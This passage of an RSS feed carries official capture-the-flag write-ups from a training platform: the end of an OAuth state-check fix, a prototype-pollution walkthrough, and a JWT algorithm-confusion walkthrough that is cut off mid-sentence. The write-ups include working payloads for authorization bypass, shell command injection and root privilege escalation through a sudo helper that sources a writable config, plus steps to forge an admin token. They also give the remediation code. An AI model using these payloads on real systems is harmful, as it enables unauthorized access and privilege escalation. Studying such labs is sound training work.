&#39;/oauth/authorize&#39; &amp;&amp;<br>    $_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;POST&#39;<br>) {<br>    $account = trim((string)($_POST[&#39;account&#39;] ?? &#39;&#39;));<br><br>    if ($account === &#39;&#39;) {<br>        http_response_code(400);<br>        page(<br>            &#39;FieldAuth sign-in&#39;,<br>            &#39;&lt;div class=&quot;card&quot;&gt;<br>            &lt;h1&gt;Enter your institutional username&lt;/h1&gt;<br>            &lt;p&gt;<br>            &lt;a href=&quot;/oauth/authorize&quot;&gt;Try again&lt;/a&gt;<br>            &lt;/p&gt;<br>            &lt;/div&gt;&#39;<br>        );<br>        exit;<br>    }<br><br>    $state = (string)($_SESSION[&#39;oauth_state&#39;] ?? &#39;&#39;);<br>    $stateCreated = (int)($_SESSION[&#39;oauth_state_created&#39;] ?? 0);<br><br>    if (<br>        $state === &#39;&#39; ||<br>        $stateCreated === 0 ||<br>        (time() - $stateCreated) &gt; 600<br>    ) {<br>        unset(<br>            $_SESSION[&#39;oauth_state&#39;],<br>            $_SESSION[&#39;oauth_state_created&#39;]<br>        );<br><br>        http_response_code(400);<br>        page(<br>            &#39;OAuth session expired&#39;,<br>            &#39;&lt;div class=&quot;card&quot;&gt;<br>            &lt;h1&gt;Sign-in session expired&lt;/h1&gt;<br>            &lt;p&gt;Start the partner sign-in process again.&lt;/p&gt;<br>            &lt;p&gt;<br>            &lt;a href=&quot;/oauth/start&quot;&gt;Start again&lt;/a&gt;<br>            &lt;/p&gt;<br>            &lt;/div&gt;&#39;<br>        );<br>        exit;<br>    }<br><br>    $_SESSION[&#39;fieldauth_user&#39;] = $account;<br><br>    $code = bin2hex(random_bytes(24));<br><br>    $st = $db-&gt;prepare(<br>        &#39;INSERT INTO oauth_codes(code, account, expires, used)<br>         VALUES(?, ?, ?, 0)&#39;<br>    );<br>    $st-&gt;bindValue(1, $code);<br>    $st-&gt;bindValue(2, $account);<br>    $st-&gt;bindValue(3, time() + 300);<br>    $st-&gt;execute();<br><br>    $origin = $db-&gt;prepare(<br>        &#39;INSERT OR REPLACE INTO oauth_origins(code, account, session_hash)<br>         VALUES(?, ?, ?)&#39;<br>    );<br>    $origin-&gt;bindValue(1, $code);<br>    $origin-&gt;bindValue(2, $account);<br>    $origin-&gt;bindValue(3, hash(&#39;sha256&#39;, session_id()));<br>    $origin-&gt;execute();<br><br>    header(<br>        &#39;Location: /oauth/callback?code=&#39; .<br>        rawurlencode($code) .<br>        &#39;&amp;state=&#39; .<br>        rawurlencode($state)<br>    );<br>    exit;<br>}<br><br>if (<br>    $room === &#39;oauth-state-omission&#39; &amp;&amp;<br>    $path === &#39;/oauth/callback&#39;<br>) {<br>    $returnedState = (string)($_GET[&#39;state&#39;] ?? &#39;&#39;);<br>    $expectedState = (string)($_SESSION[&#39;oauth_state&#39;] ?? &#39;&#39;);<br>    $stateCreated = (int)($_SESSION[&#39;oauth_state_created&#39;] ?? 0);<br>    $stateExpired =<br>        $stateCreated === 0 ||<br>        (time() - $stateCreated) &gt; 600;<br><br>    if (<br>        $returnedState === &#39;&#39; ||<br>        $expectedState === &#39;&#39; ||<br>        $stateExpired ||<br>        !hash_equals($expectedState, $returnedState)<br>    ) {<br>        unset(<br>            $_SESSION[&#39;oauth_state&#39;],<br>            $_SESSION[&#39;oauth_state_created&#39;]<br>        );<br><br>        http_response_code(400);<br>        page(<br>            &#39;OAuth verification failed&#39;,<br>            &#39;&lt;div class=&quot;card&quot;&gt;<br>            &lt;h1&gt;We could not verify this sign-in&lt;/h1&gt;<br>            &lt;p class=&quot;muted&quot;&gt;<br>            This login response was not started by this browser,<br>            or the sign-in session has expired.<br>            &lt;/p&gt;<br>            &lt;p&gt;<br>            &lt;a href=&quot;/oauth/start&quot;&gt;Start sign-in again&lt;/a&gt;<br>            &lt;/p&gt;<br>            &lt;/div&gt;&#39;<br>        );<br>        exit;<br>    }<br><br>    /*<br>     * State is one-time-use. Remove it before processing the code.<br>     */<br>    unset(<br>        $_SESSION[&#39;oauth_state&#39;],<br>        $_SESSION[&#39;oauth_state_created&#39;]<br>    );<br><br>    $code = (string)($_GET[&#39;code&#39;] ?? &#39;&#39;);<br><br>    $st = $db-&gt;prepare(<br>        &#39;SELECT account FROM oauth_codes WHERE code = ? AND expires &gt; ? AND used = 0&#39;<br>    );<br>    $st-&gt;execute([$code, time()]);<br>    $grant = $st-&gt;fetch(PDO::FETCH_ASSOC);<br><br>    if (!$grant) {<br>        http_response_code(400);<br>        page(<br>            &#39;Sign-in link unavailable&#39;,<br>            &#39;&lt;div class=&quot;card&quot;&gt;<br>            &lt;h1&gt;This sign-in link is no longer available&lt;/h1&gt;<br>            &lt;p class=&quot;muted&quot;&gt;<br>            The partner sign-in code was already used or has expired.<br>            &lt;/p&gt;<br>            &lt;p&gt;<br>            &lt;a href=&quot;/oauth/start&quot;&gt;Try partner sign-in again&lt;/a&gt;<br>            &lt;/p&gt;<br>            &lt;/div&gt;&#39;<br>        );<br>        exit;<br>    }<br><br>    $markUsed = $db-&gt;prepare(<br>        &#39;UPDATE oauth_codes<br>         SET used = 1<br>         WHERE code = ? AND used = 0&#39;<br>    );<br>    $markUsed-&gt;bindValue(1, $code);<br>    $markUsed-&gt;execute();<br><br>    $account = $grant[&#39;account&#39;];<br>    $u = find_user_by_username($db, $account);<br><br>    if (!$u) {<br>        $email = $account . &#39;@fieldauth.example&#39;;<br><br>        $st = $db-&gt;prepare(<br>            &#39;INSERT INTO users(email, username, password, role)<br>             VALUES(?, ?, ?, ?)&#39;<br>        );<br>        $st-&gt;bindValue(1, $email);<br>        $st-&gt;bindValue(2, $account);<br>        $st-&gt;bindValue(3, bin2hex(random_bytes(16)));<br>        $st-&gt;bindValue(4, &#39;researcher&#39;);<br>        $st-&gt;execute();<br><br>        $u = find_user_by_username($db, $account);<br>    }<br><br>    if ($u) {<br>        log_user_in($u);<br>    }<br><br>    header(&#39;Location: /dashboard&#39;);<br>    exit;<br>}</pre><h3>4. Save and Check the File</h3><p>As the waypoint user:</p><pre>cd /var/www/html<br>cp index.php index.php.vulnerable<br>nano index.php</pre><p>Paste the replacement block, save, then run:</p><pre>php -l index.php</pre><p>You should see:</p><pre>No syntax errors detected in index.php</pre><p>No sudo is required.</p><h3>5. Important Ordering</h3><p>The callback must follow this order:</p><pre>Receive code and state<br>        ↓<br>Validate state against current session<br>        ↓<br>Reject if missing, mismatched, or expired<br>        ↓<br>Delete state so it cannot be reused<br>        ↓<br>Validate and consume authorization code<br>        ↓<br>Log the user in</pre><p>Do not use the OAuth code itself as the state value.</p><h3>6. Verify the Room’s Impact No Longer Works</h3><p>After the fix:</p><ol><li>The attacker must not be able to transfer a callback to the victim.</li><li>The victim must remain in their own account.</li><li>A victim upload must not appear in the attacker’s account.</li><li>The OAuth confusion flag must not be displayed.</li></ol><p>Normal OAuth login must still succeed.</p><p>The Extra Mile check should pass only when:</p><ul><li>Cross-browser callback rejected</li><li>Normal OAuth flow still works</li></ul><p>Do not stop Apache, delete the application, or replace the entire database.</p><p>This is it. If you enjoyed this room, check out more at <a href="https://breaktheroot.com/">Break The Root</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62de9de15ebb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Golden Fork — Official Writeup]]></title>
            <link>https://refang.medium.com/the-golden-fork-official-writeup-f29311344aa6?source=rss-3a7efeb51874------2</link>
            <guid isPermaLink="false">https://medium.com/p/f29311344aa6</guid>
            <dc:creator><![CDATA[ReFang]]></dc:creator>
            <pubDate>Fri, 06 Nov 2026 19:31:01 GMT</pubDate>
            <atom:updated>2026-11-06T19:31:01.854Z</atom:updated>
            <content:encoded><![CDATA[<p>This is official write up of <a href="https://breaktheroot.com/golden-fork/">The Golden Fork</a> room at <a href="https://breaktheroot.com/">Break The Root</a>.</p><p><strong>What is Break The Root?</strong></p><p>Break The Root is a hands-on cybersecurity training platform built around a simple idea: exploit, understand, fix. You hack real vulnerable machines, dig into why the exploit actually worked, and then patch the exact flaw that let you in, instead of just grabbing a flag and moving on.</p><p><strong>Note:</strong><br>If you find any issues in the room or in the writeup, please inform us at <a href="/service/mailto:contact@breaktheroot.com">contact@breaktheroot.com</a>. Your feedback helps us improve our platform and user experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ydozBS7Ww-cBezwZ.png" /></figure><h3>1. Room overview</h3><p>Forkline is a restaurant partner-management platform. The lab contains two chained vulnerabilities:</p><ol><li><strong>Server-side prototype pollution</strong> in the partner configuration merge logic. This lets an attacker modify Object.prototype with inherited properties such as:</li></ol><pre>{   &quot;isAdmin&quot;: true,  <br> &quot;command&quot;: &quot;...&quot; <br>}</pre><p><strong>2. Root backup helper abuse.</strong> A root-run helper sources a configuration file writable by the application user:</p><pre>/opt/app/data/backup.conf</pre><h3>2. Prerequisites and setup</h3><ol><li>Connect to the lab VPN.</li><li>Open the target in a browser: <br>http://&lt;TARGET-IP&gt;:8080/</li><li>Configure Burp Suite as your browser proxy.</li><li>Keep Burp’s HTTP history open.</li><li>Send interesting requests to Burp Repeater.</li></ol><p>Useful endpoints are listed in the API reference for the room:</p><pre>GET  /api/health<br>GET  /api/partner/config<br>POST /api/partner/config<br>POST /api/partner/preview<br>POST /api/internal/maintenance/run</pre><h3>3. Establish normal application behavior</h3><h3>3.1 Save a normal configuration</h3><p>In the Forkline Partner Console:</p><ol><li>Set <strong>Menu title</strong> to:Forkline Partner Menu</li><li>Set <strong>Currency</strong> to:PKR</li><li>Click <strong>Save configuration</strong>.</li></ol><p>You should see:</p><pre>Partner configuration saved</pre><p>The browser sends:</p><pre>POST /api/partner/config HTTP/1.1<br>Host: &lt;TARGET-IP&gt;:8080<br>Content-Type: application/json</pre><p>Body:</p><pre>{<br>  &quot;menu&quot;: {<br>    &quot;title&quot;: &quot;Forkline Partner Menu&quot;,<br>    &quot;currency&quot;: &quot;PKR&quot;<br>  }<br>}</pre><p>This confirms the normal nested configuration workflow works.</p><h3>3.2 Inspect health and config</h3><p>Send in Burp Repeater:</p><pre>GET /api/health HTTP/1.1<br>Host: &lt;TARGET-IP&gt;:8080</pre><p>Initial response:</p><pre>{<br>  &quot;ok&quot;: true,<br>  &quot;service&quot;: &quot;partner-api&quot;,<br>  &quot;prototypePolluted&quot;: false,<br>  &quot;menuTitle&quot;: &quot;Forkline Partner Menu&quot;<br>}</pre><p>The prototypePolluted field is useful: it becomes true after pollution.</p><p>Also send:</p><pre>GET /api/partner/config HTTP/1.1<br>Host: &lt;TARGET-IP&gt;:8080</pre><p>Expected:</p><pre>{<br>  &quot;menu&quot;: {<br>    &quot;title&quot;: &quot;Forkline Partner Menu&quot;,<br>    &quot;currency&quot;: &quot;PKR&quot;<br>  }<br>}</pre><h3>3.3 Test the maintenance authorization boundary</h3><p>There is an interesting endpoint listed in the API reference. Check it by sending this without a body:</p><pre>POST /api/internal/maintenance/run HTTP/1.1<br>Host: &lt;TARGET-IP&gt;:8080<br>Content-Length: 0</pre><p>Expected response:</p><pre>{<br>  &quot;ok&quot;: false,<br>  &quot;error&quot;: &quot;Administrator role required&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dyqImTEGD9NpeHRYGPyCpw.png" /></figure><p>This confirms the endpoint checks for an administrator role.</p><p>The vulnerability is that the check uses an inherited property:</p><pre>const user = { username: &#39;partner-operator&#39; };<br>if (!user.isAdmin) {<br>  return send(res, 403, { ok: false, error: &#39;Administrator role required&#39; });<br>}</pre><p>If Object.prototype.isAdmin is polluted to true, user.isAdmin becomes true.</p><h3>4. Flag 1 — Server-side prototype pollution</h3><h3>4.1 Capture the config request</h3><p>In Burp, find the normal POST /api/partner/config request and send it to Repeater.</p><p>The vulnerable server-side merge logic is:</p><pre>function mergeConfig(target, source, applyFilter = true) {<br>  if (!source || typeof source !== &#39;object&#39; || Array.isArray(source)) return target;<br><br>  for (const key of Object.keys(source)) {<br>    if (applyFilter &amp;&amp; [&#39;__proto__&#39;, &#39;constructor&#39;, &#39;prototype&#39;].includes(key)) continue;<br><br>    const value = source[key];<br><br>    if (value &amp;&amp; typeof value === &#39;object&#39; &amp;&amp; !Array.isArray(value)) {<br>      if (!target[key] || typeof target[key] !== &#39;object&#39;) target[key] = {};<br>      mergeConfig(target[key], value, false);<br>    } else {<br>      target[key] = value;<br>    }<br>  }<br><br>  return target;<br>}</pre><p>The filter only applies at the first level. The recursive call passes false, disabling the dangerous-key filter.</p><p>So:</p><pre>{<br>  &quot;menu&quot;: {<br>    &quot;__proto__&quot;: {<br>      &quot;isAdmin&quot;: true<br>    }<br>  }<br>}</pre><p>is accepted because:</p><ul><li>The top-level key menu is allowed.</li><li>Inside menu, __proto__ is not filtered because the recursive call has applyFilter = false.</li></ul><h3>4.2 Submit the Flag 1 payload</h3><p>In Burp Repeater, replace the body of:</p><pre>POST /api/partner/config HTTP/1.1<br>Host: &lt;TARGET-IP&gt;:8080<br>Content-Type: application/json</pre><p>with:</p><pre>{<br>  &quot;menu&quot;: {<br>    &quot;__proto__&quot;: {<br>      &quot;isAdmin&quot;: true,<br>      &quot;btrProbe&quot;: &quot;golden-fork-test&quot;,<br>      &quot;command&quot;: &quot;cat /opt/app/data/user-flag.txt&quot;<br>    }<br>  }<br>}</pre><p>Send the request.</p><p>The response may look like a normal configuration save. The polluted properties may not appear directly because they are inherited from Object.prototype.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ib7XY468Lq9_LH9dDdJ64A.png" /></figure><h3>4.3 Confirm pollution</h3><p>Send:</p><pre>GET /api/health HTTP/1.1<br>Host: &lt;TARGET-IP&gt;:8080</pre><p>Expected response now includes:</p><pre>&quot;prototypePolluted&quot;: true</pre><p>If it still says false, check:</p><ul><li>Valid JSON.</li><li>__proto__ is nested inside menu.</li><li>Content-Type: application/json.</li><li>Request went to /api/partner/config.</li><li>Room was not restarted between requests.</li><li>Burp did not alter or escape the JSON incorrectly.</li></ul><h3>4.4 Trigger the maintenance worker and get Flag 1</h3><p>Send:</p><pre>POST /api/internal/maintenance/run HTTP/1.1<br>Host: &lt;TARGET-IP&gt;:8080<br>Content-Length: 0</pre><p>The endpoint creates:</p><pre>const user = { username: &#39;partner-operator&#39; };</pre><p>and checks:</p><pre>if (!user.isAdmin) ...</pre><p>Because Object.prototype.isAdmin is now true, authorization is bypassed.</p><p>The maintenance worker also reads:</p><pre>const options = {};<br>const command = options.command || &quot;printf &#39;routine-maintenance-ok\\n&#39;&quot;;</pre><p>Because Object.prototype.command is polluted to:</p><pre>cat /opt/app/data/user-flag.txt</pre><p>the command executes as the application user.</p><p>The response should contain the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zgWc58s3DDA4Ry5jIwuffA.png" /></figure><h3>5. Flag 2 — Root helper abuse</h3><h3>5.1 Why cat /root/root-flag.txt fails</h3><p>If you try:</p><pre>{<br>  &quot;menu&quot;: {<br>    &quot;__proto__&quot;: {<br>      &quot;isAdmin&quot;: true,<br>      &quot;command&quot;: &quot;cat /root/root-flag.txt&quot;<br>    }<br>  }<br>}</pre><p>then trigger maintenance, it fails because the command runs as the unprivileged application user. That user cannot read /root/root-flag.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nUhaungme1-mrigP1WmU2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gDxcPZsDPp3n3DBjXCxyhw.png" /></figure><p>You need to abuse the root-owned backup helper. A hint about it is given in the room description.</p><h3>5.2 Root-stage payload</h3><p>Submit this to POST /api/partner/config:</p><pre>{<br>  &quot;menu&quot;: {<br>    &quot;__proto__&quot;: {<br>      &quot;isAdmin&quot;: true,<br>      &quot;command&quot;: &quot;printf \&quot;%s\\n\&quot; \&quot;cat /root/root-flag.txt &gt; /opt/app/data/root-stage.txt\&quot; &gt; /opt/app/data/backup.conf; sudo /usr/local/bin/forkline-backup; cat /opt/app/data/root-stage.txt&quot;<br>    }<br>  }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eas5vwkWyqE8Los5USErZQ.png" /></figure><p>This payload:</p><ol><li>Creates /opt/app/data/backup.conf.</li><li>Writes a root command into it:cat /root/root-flag.txt &gt; /opt/app/data/root-stage.txt</li><li>Runs:sudo /usr/local/bin/forkline-backup</li><li>The helper runs as root.</li><li>The helper sources /opt/app/data/backup.conf.</li><li>The root command copies /root/root-flag.txt to /opt/app/data/root-stage.txt.</li><li>The application user can then read /opt/app/data/root-stage.txt.</li></ol><p>Then trigger maintenance again:</p><pre>POST /api/internal/maintenance/run HTTP/1.1<br>Host: &lt;TARGET-IP&gt;:8080<br>Content-Length: 0</pre><p>Expected response:</p><pre>{<br>  &quot;ok&quot;: true,<br>  &quot;output&quot;: &quot;backup completed\nBTR{flag_here}\n&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LTaU_U06I3yLYaUzZGUOQQ.png" /></figure><h3>6. Remediation — Extra Mile</h3><h3>6.1 SSH access and files to fix</h3><p>After obtaining the flags, connect using the SSH credentials released by the lab platform. Example:</p><pre>ssh &lt;platform-user&gt;@&lt;TARGET-IP&gt;</pre><p>Once connected, inspect the application:</p><pre>cd /opt/app<br>ls -la</pre><p>The main vulnerable file is:</p><pre>/opt/app/server.js</pre><p>Edit it with:</p><pre>nano /opt/app/server.js</pre><p>or:</p><pre>micro /opt/app/server.js</pre><p>The root helper is:</p><pre>/usr/local/bin/forkline-backup</pre><p>Inspect it:</p><pre>cat /usr/local/bin/forkline-backup</pre><p>You will not be able to edit it directly because it is root-owned:</p><pre>nano /usr/local/bin/forkline-backup<br># permission denied</pre><p>Because the room grants only narrowly scoped sudo permission, fixing the helper is out of scope for this room.</p><h3>6.2 Fix Server-side prototype pollution + inherited auth/command</h3><h4>Vulnerable code</h4><p><strong>Vulnerable merge:</strong></p><pre>function mergeConfig(target, source, applyFilter = true) {<br>  if (!source || typeof source !== &#39;object&#39; || Array.isArray(source)) return target;<br><br>  for (const key of Object.keys(source)) {<br>    if (applyFilter &amp;&amp; [&#39;__proto__&#39;, &#39;constructor&#39;, &#39;prototype&#39;].includes(key)) continue;<br><br>    const value = source[key];<br><br>    if (value &amp;&amp; typeof value === &#39;object&#39; &amp;&amp; !Array.isArray(value)) {<br>      if (!target[key] || typeof target[key] !== &#39;object&#39;) target[key] = {};<br>      mergeConfig(target[key], value, false);<br>    } else {<br>      target[key] = value;<br>    }<br>  }<br><br>  return target;<br>}</pre><p><strong>Vulnerable authorization check:</strong></p><pre>const user = { username: &#39;partner-operator&#39; };<br>if (!user.isAdmin) {<br>  return send(res, 403, { ok: false, error: &#39;Administrator role required&#39; });<br>}</pre><p><strong>Vulnerable maintenance command selection:</strong></p><pre>function maintenanceRun() {<br>  return new Promise(resolve =&gt; {<br>    const options = {};<br>    const command = options.command || &quot;printf &#39;routine-maintenance-ok\\n&#39;&quot;;<br><br>    execFile(&#39;/bin/sh&#39;, [&#39;-c&#39;, command], {<br>      timeout: 2500,<br>      cwd: DATA_DIR,<br>      maxBuffer: 16 * 1024<br>    }, (err, stdout) =&gt; {<br>      resolve({<br>        ok: !err,<br>        output: String(stdout || &#39;&#39;).slice(0, 4096),<br>        error: err ? &#39;maintenance task failed&#39; : undefined<br>      });<br>    });<br>  });<br>}</pre><h4>Why it is vulnerable</h4><ul><li>The dangerous-key filter is only applied at the first level.</li><li>The recursive merge call uses applyFilter = false, so nested __proto__ is merged into Object.prototype.</li><li>user.isAdmin then inherits the polluted true.</li><li>options.command then inherits the polluted shell command.</li><li>execFile(&#39;/bin/sh&#39;, [&#39;-c&#39;, command]) turns that inherited value into command execution.</li></ul><h4>Exact fixed code</h4><p>Replace the merge with a version that filters dangerous keys at every recursion level and uses null-prototype objects for safe merging:</p><pre>const BLOCKED_KEYS = new Set([&#39;__proto__&#39;, &#39;constructor&#39;, &#39;prototype&#39;]);<br><br>function isPlainObject(value) {<br>  return value !== null &amp;&amp; typeof value === &#39;object&#39; &amp;&amp; !Array.isArray(value);<br>}<br><br>function mergeConfig(target, source) {<br>  if (!isPlainObject(source)) return target;<br><br>  for (const key of Object.keys(source)) {<br>    if (BLOCKED_KEYS.has(key)) continue;<br><br>    const value = source[key];<br><br>    if (isPlainObject(value)) {<br>      if (!isPlainObject(target[key])) {<br>        target[key] = Object.create(null);<br>      }<br>      mergeConfig(target[key], value);<br>    } else {<br>      target[key] = value;<br>    }<br>  }<br><br>  return target;<br>}</pre><p>Fix the authorization check to require an own property:</p><pre>const user = { username: &#39;partner-operator&#39; };<br>const isAdmin =<br>  Object.prototype.hasOwnProperty.call(user, &#39;isAdmin&#39;) &amp;&amp;<br>  user.isAdmin === true;<br><br>if (!isAdmin) {<br>  return send(res, 403, { ok: false, error: &#39;Administrator role required&#39; });<br>}</pre><p>Fix the maintenance command to use an allowlist, not inherited properties:</p><pre>function maintenanceRun() {<br>  return new Promise(resolve =&gt; {<br>    const command = &quot;printf &#39;routine-maintenance-ok\\n&#39;&quot;;<br><br>    execFile(&#39;/bin/sh&#39;, [&#39;-c&#39;, command], {<br>      timeout: 2500,<br>      cwd: DATA_DIR,<br>      maxBuffer: 16 * 1024<br>    }, (err, stdout) =&gt; {<br>      resolve({<br>        ok: !err,<br>        output: String(stdout || &#39;&#39;).slice(0, 4096),<br>        error: err ? &#39;maintenance task failed&#39; : undefined<br>      });<br>    });<br>  });<br>}</pre><p>If dynamic commands are truly required, never read them from a normal object. Use an explicit allowlist:</p><pre>const ALLOWED_COMMANDS = new Map([<br>  [&#39;routine&#39;, &quot;printf &#39;routine-maintenance-ok\\n&#39;&quot;]<br>]);<br><br>function maintenanceRun() {<br>  return new Promise(resolve =&gt; {<br>    const command = ALLOWED_COMMANDS.get(&#39;routine&#39;);<br><br>    execFile(&#39;/bin/sh&#39;, [&#39;-c&#39;, command], {<br>      timeout: 2500,<br>      cwd: DATA_DIR,<br>      maxBuffer: 16 * 1024<br>    }, (err, stdout) =&gt; {<br>      resolve({<br>        ok: !err,<br>        output: String(stdout || &#39;&#39;).slice(0, 4096),<br>        error: err ? &#39;maintenance task failed&#39; : undefined<br>      });<br>    });<br>  });<br>}</pre><h4>Why the fix is safe</h4><ul><li>Dangerous keys are blocked at every depth.</li><li>Null-prototype objects do not inherit from Object.prototype.</li><li>Authorization checks only trust own properties, not inherited ones.</li><li>Maintenance commands are hard-coded or allowlisted, so prototype pollution cannot influence them.</li><li>execFile(&#39;/bin/sh&#39;, [&#39;-c&#39;, ...]) is still shell execution, so the safest design is to avoid the shell entirely when possible. For this lab, the allowlist removes attacker control.</li></ul><p>This is it. If you enjoyed this room, check out more at <a href="https://breaktheroot.com/">Break The Root</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f29311344aa6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JWT Algorithm Confusion — Official Walkthrough]]></title>
            <link>https://refang.medium.com/jwt-algorithm-confusion-official-walkthrough-44ffdd60f16c?source=rss-3a7efeb51874------2</link>
            <guid isPermaLink="false">https://medium.com/p/44ffdd60f16c</guid>
            <dc:creator><![CDATA[ReFang]]></dc:creator>
            <pubDate>Fri, 06 Nov 2026 05:11:24 GMT</pubDate>
            <atom:updated>2026-11-06T05:11:24.151Z</atom:updated>
            <content:encoded><![CDATA[<p>This is official write up of <a href="https://breaktheroot.com/jwt-algorithm-confusion/">JWT Algorithm Confusion</a> room at <a href="https://breaktheroot.com/">Break The Root</a>.</p><p><strong>What is Break The Root?</strong></p><p>Break The Root is a hands-on cybersecurity training platform built around a simple idea: exploit, understand, fix. You hack real vulnerable machines, dig into why the exploit actually worked, and then patch the exact flaw that let you in, instead of just grabbing a flag and moving on.</p><p><strong>Note:</strong><br>If you find any issues in the room or in the writeup, please inform us at <a href="/service/mailto:contact@breaktheroot.com">contact@breaktheroot.com</a>. Your feedback helps us improve our platform and user experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J2GGQ_LJ8aCY_wZ5.png" /></figure><h3>Part 1: Exploitation Walkthrough</h3><h3>1. Start the Machine</h3><ol><li>Open the JWT Algorithm Confusion lab room.</li><li>Click <strong>Start Machine</strong>.</li><li>Download your OpenVPN configuration file.</li></ol><pre>sudo openvpn break-the-root.ovpn</pre><p>Open the assigned target IP in your browser:</p><pre>http://&lt;TARGET-IP&gt;:8080/</pre><h3>2. Create a Normal Account</h3><p>On the Fieldkit login page:</p><ol><li>Click <strong>Create a Fieldkit account</strong>.</li><li>Register a standard account.</li><li>Log in with your credentials.</li></ol><p>Upon successful authentication, the dashboard displays:</p><pre>Good morning, yourusername.</pre><p>At this stage, your role is: researcher.</p><h3>3. Discover Fieldkit Resources</h3><p>The public key used for signature verification is hosted publicly in the application resources.</p><ol><li>From the dashboard, navigate to <strong>Fieldkit offline sync guide</strong>.</li><li>Follow the link to <strong>Fieldkit resources</strong>.</li><li>Download the public key file:</li></ol><pre>/downloads/fieldkit-public-key.pem</pre><p>The contents of the file appear as:</p><pre>-----BEGIN PUBLIC KEY-----<br>WAYPOINT-FIELDKIT-PUBLIC-KEY<br>-----END PUBLIC KEY-----</pre><p><strong>Note:</strong> For HMAC-SHA256 signature calculation in this specific lab environment, the secret key string consists strictly of the raw inner key content:</p><pre>WAYPOINT-FIELDKIT-PUBLIC-KEY</pre><h3>4. Obtain Your Legitimate JWT</h3><p>The session token is stored within an HTTP cookie rather than presented directly in the DOM.</p><p>In Firefox / Chromium DevTools (F12):</p><ol><li>Open <strong>Storage</strong> (or <strong>Application</strong> in Chrome).</li><li>Expand <strong>Cookies</strong> and select the host.</li><li>Locate the fieldkit_token cookie and copy its value.</li></ol><p>A valid JWT follows the three-part structure (header.payload.signature):</p><p>Decoded Header:</p><pre>{<br>  &quot;alg&quot;: &quot;RS256&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;<br>}</pre><p>Decoded Payload:</p><pre>{<br>  &quot;sub&quot;: 4,<br>  &quot;email&quot;: &quot;youraccount@example.test&quot;,<br>  &quot;role&quot;: &quot;researcher&quot;,<br>  &quot;exp&quot;: 1799999999<br>}</pre><h3>5. Understand the Vulnerability</h3><p>The core security flaw lies in <strong>Algorithm Confusion</strong> (also known as <strong>Key Confusion</strong>).</p><ul><li><strong>Vulnerable Behavior:</strong> The application dynamically trusts the algorithm specified in the incoming token’s header (alg parameter).</li><li><strong>Exploitation Mechanism:</strong> When an attacker modifies &quot;alg&quot;: &quot;RS256&quot; to &quot;alg&quot;: &quot;HS256&quot;, a flawed verification implementation switches from asymmetric RSA verification to symmetric HMAC verification.</li><li><strong>Impact:</strong> The server uses its stored RSA Public Key (WAYPOINT-FIELDKIT-PUBLIC-KEY) as the HMAC secret key. Because public keys are accessible to anyone, an attacker can sign arbitrary payloads using the public key as a secret.</li></ul><h3>6. Forge the Token</h3><ol><li>Open a JWT token editor or debugger (such as jwt.io).</li><li>Paste the legitimate token into the debugger.</li><li>Update the Header block:</li></ol><pre>{<br>  &quot;alg&quot;: &quot;HS256&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;<br>}</pre><ol><li>Update the Payload block:</li></ol><pre>{<br>  &quot;sub&quot;: 999,<br>  &quot;email&quot;: &quot;anything@example.test&quot;,<br>  &quot;role&quot;: &quot;admin&quot;,<br>  &quot;exp&quot;: 1999999999<br>}</pre><ol><li>In the secret field for HMAC validation, supply the public key text:</li></ol><pre>WAYPOINT-FIELDKIT-PUBLIC-KEY</pre><ol><li>Copy the resulting encoded JWT string.</li></ol><h3>7. Replace the Browser Cookie</h3><p>In Browser Developer Tools:</p><ol><li>Navigate to <strong>Storage → Cookies</strong>.</li><li>Locate fieldkit_token.</li><li>Replace its value with your forged HS256 token string.</li><li>Ensure <strong>Path</strong> is set to /.</li></ol><h3>8. Access the Admin Dashboard</h3><ol><li>Navigate to:</li></ol><pre>http://&lt;TARGET-IP&gt;:8080/dashboard</pre><ol><li>Refresh the page. The application will evaluate the modified role claim (admin) and display the privileged administrative view.</li></ol><h3>9. Retrieve the Flag</h3><p>After refreshing the admin dashboard, the privileged administrative view displays the required flag.</p><ol><li>Locate the flag shown on the admin panel.</li><li>Copy the complete value exactly as displayed.</li><li>Submit it in the room workspace under <strong>Required Flags</strong>.</li></ol><p>The flag is displayed on the admin panel after the forged token is accepted.</p><h3>Part 2: Vulnerability Remediation</h3><h3>Code Analysis &amp; Defenses</h3><h4>Vulnerable Implementation (PHP)</h4><p>The insecure implementation reads $header[&#39;alg&#39;] directly from user input to determine which key and algorithm to utilize during validation:</p><pre>function verifyJwt(string $token): ?array {<br>    $parts = explode(&#39;.&#39;, $token);<br>    if (count($parts) !== 3) {<br>        return null;<br>    }<br><br>    $header = json_decode(base64url_decode($parts[0]), true) ?: [];<br>    $payload = json_decode(base64url_decode($parts[1]), true) ?: [];<br>    $alg = (string)($header[&#39;alg&#39;] ?? &#39;&#39;);<br><br>    // INSECURE: Allowing the header to select symmetric vs asymmetric verification keys<br>    $key = ($alg === &#39;HS256&#39;)<br>        ? &#39;WAYPOINT-FIELDKIT-PUBLIC-KEY&#39;<br>        : &#39;WAYPOINT-SERVER-SIGNING-SECRET&#39;;<br><br>    $expected = hash_hmac(&#39;sha256&#39;, $parts[0] . &#39;.&#39; . $parts[1], $key, true);<br><br>    return hash_equals($expected, base64url_decode($parts[2])) ? $payload : null;<br>}</pre><h4>Secure Implementation (PHP)</h4><p>To eliminate Algorithm Confusion, applications must enforce algorithm selection server-side and ignore or strictly validate the alg parameter present in incoming 